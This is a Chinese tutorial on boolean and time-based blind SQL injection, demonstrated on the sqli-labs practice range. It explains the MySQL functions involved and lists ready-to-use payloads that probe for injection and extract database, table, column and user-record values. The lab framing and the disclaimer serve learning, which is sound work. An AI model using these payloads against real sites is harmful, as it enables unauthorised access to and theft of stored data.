網站首頁 編程語言 正文
今天繼續給大家介紹Linux運維相關知識,本文主要內容是SQL bool盲注和時間盲注。
免責聲明:
本文所介紹的內容僅做學習交流使用,嚴禁利用文中技術進行非法行為,否則造成一切嚴重后果自負!
再次強調:嚴禁對未授權設備進行滲透測試!
一、bool盲注和時間盲注常用函數
1、休眠函數
sleep()是SQL語句中用于休眠的函數,時間盲注中常用,sleep(x)可以讓程序休眠x秒。
2、字符串截取函數
字符串截取函數是bool盲注和時間盲注中都需要使用的函數。常用的字符串截取函數有mid()、substr()、left()。
mid()函數格式為:
mid(【目標字段】,【開始的位置】,【截取長度】)
其中,開始的位置默認從1開始。
substr()函數的用法與mid相似,left函數則默認從字段的最左邊開始截取,其格式為:
left(【目標字段】,【截取長度】)
表示從目標字段的左邊開始截取指定長度的字符。
3、字符串長度函數
字符串長度函數length()會應用在SQL bool盲注和時間盲注中,length()函數可以反饋目標字符串的長度。
4、ascii碼轉換函數
ascii碼轉換函數可以將一個字符轉換成ascii碼,在SQL基于時間的盲注和基于bool的盲注中,ascii碼轉換函數可以將一個字符轉換成其ascii碼值。常用的ascii碼轉換函數為ascii()、ord()。
5、條件判斷函數
條件判斷函數if是SQL時間盲注中的必用函數,可以利用if函數來根據條件來反饋不同的結果。
if函數格式如下所示:
if(【條件】,【值1】,【值2】)
當條件成立時,if函數返回值1,當條件不成立時,if函數返回值2.
二、bool盲注和時間盲注payload
1、SQL注入點探測
我們使用sqli_lab的靶場,對基于bool的盲注和基于時間的盲注進行講解,在sqli_lab靶場中,基于bool的盲注是第8關,基于時間的盲注是第9關,頁面如下所示:
對于bool類型的盲注,我們可以通過執行以下payload來探測是否存在注入點:
id=1'and 1=2#
如果顯示異常,那么就說明and后面的內容被成功執行,因此可能存在bool類型的SQL注入。
對于時間類型的盲注,我們可以通過執行以下payload來探測是否存在注入點:
id=1'and sleep(10)#
如果網頁反應時間出現了明顯延遲,就說明存在基于時間的SQL注入。
2、猜解數據庫名
bool類型的盲注猜解數據庫長度payload如下所示:
id=1'and length(database())>10#
時間類型的盲注猜解數據庫長度payload如下所示:
id=1'and sleep(if(length(database())>10,10,1))>10#
bool類型的盲注猜解數據庫名稱payload如下所示:
id=1'and ascii(mid(database(),1,1))>115#
時間類型的盲注猜解數據庫名稱payload如下所示:
id=1'and sleep(if(ascii(mid(database(),1,1))>115,10,1))#
上述四個payload,length函數用于反饋查詢結果的長度,mid函數用于截取查詢結果的指定字符,ascii函數用于將其轉換為ascii碼的形式,if函數中第一個參數為一個判斷表達式,本質上是bool類型盲注的核心,后面的10和1分別為表達式成立或者不成立條件下的返回值,該返回值為sleep函數的輸入,以此就可以控制網頁反應的時間。
3、猜解表名
bool類型的盲注表名個數猜解payload如下所示:
id=1'and (select count(*) from information_schema.tables where table_schema=database())>2#
時間類型的盲注表名個數猜解payload如下所示:
id=1'and sleep(if((select count(*) from information_schema.tables where table_schema=database())>2,10,1))#
bool類型的盲注表名猜解payload如下所示:
id=1'and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100#
時間類型的盲注表名猜解payload如下所示:
id=1'and sleep(if((ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100),10,1))#
在上述4個payload中,其原理與之前介紹的相似,但是是使用limit函數來不斷的控制反饋的變量。
4、猜解字段名
bool類型的盲注字段名個數猜解payload如下所示:
id=1'and (select count(*) from information_schema.columns where table_name='users'and table_schema=database())>1#
時間類型的盲注字段名個數猜解payload如下所示:
id=1'and sleep(if((select count(*) from information_schema.columns where table_name='users'and table_schema=database())>1,10,1))#
bool類型的盲注字段名個數猜解payload如下所示:
id=1'and ascii(mid((select% column_name from information_schema.columns where%20table_name='users'and table_schema=database() limit 0,1),1,1))>1000#
時間類型的盲注字段名個數猜解payload如下所示:
id=1'and sleep(if(ascii(mid((select% column_name from information_schema.columns where%20table_name='users'and table_schema=database() limit 0,1),1,1))>1000,10,1))#
其原理與之前類似。
5、猜解數據
bool類型的盲注數據長度猜解payload如下所示:
id=1'and (select count(*) from users)>1#
時間類型的盲注數據長度猜解payload如下所示:
id=1'and sleep(if((select count(*) from users)>1,10,1))#
bool類型的盲注數據猜解payload如下所示:
id=1'and ascii(mid((select username from users limit 0,1),1,1))>1#
時間類型的盲注數據猜解payload如下所示:
id=1'and sleep(if(ascii(mid((select username from users limit 0,1),1,1))>1,10,1))#
原文鏈接:https://blog.csdn.net/weixin_40228200/article/details/125829810
相關推薦
- 2023-04-23 解讀unsafe.Pointer和uintptr的區別_Golang
- 2022-08-02 python生產環境禁用assert斷言的方法_python
- 2022-08-10 Python編程獲取終端命令行參數示例_python
- 2024-04-02 VsCode中修改/重置git遠程倉庫地址(與拉去遠程項目)
- 2022-07-09 kernel利用pt?regs劫持seq?operations的遷移過程詳解_C 語言
- 2023-04-07 C語言高級教程之變長數組詳解_C 語言
- 2022-10-05 redis?stream?實現消息隊列的實踐_Redis
- 2023-03-03 Linux命令之mkdir,cat,touch,vi/vim的詳解_Linux
- 最近更新
-
- window11 系統安裝 yarn
- 超詳細win安裝深度學習環境2025年最新版(
- Linux 中運行的top命令 怎么退出?
- MySQL 中decimal 的用法? 存儲小
- get 、set 、toString 方法的使
- @Resource和 @Autowired注解
- Java基礎操作-- 運算符,流程控制 Flo
- 1. Int 和Integer 的區別,Jav
- spring @retryable不生效的一種
- Spring Security之認證信息的處理
- Spring Security之認證過濾器
- Spring Security概述快速入門
- Spring Security之配置體系
- 【SpringBoot】SpringCache
- Spring Security之基于方法配置權
- redisson分布式鎖中waittime的設
- maven:解決release錯誤:Artif
- restTemplate使用總結
- Spring Security之安全異常處理
- MybatisPlus優雅實現加密?
- Spring ioc容器與Bean的生命周期。
- 【探索SpringCloud】服務發現-Nac
- Spring Security之基于HttpR
- Redis 底層數據結構-簡單動態字符串(SD
- arthas操作spring被代理目標對象命令
- Spring中的單例模式應用詳解
- 聊聊消息隊列,發送消息的4種方式
- bootspring第三方資源配置管理
- GIT同步修改后的遠程分支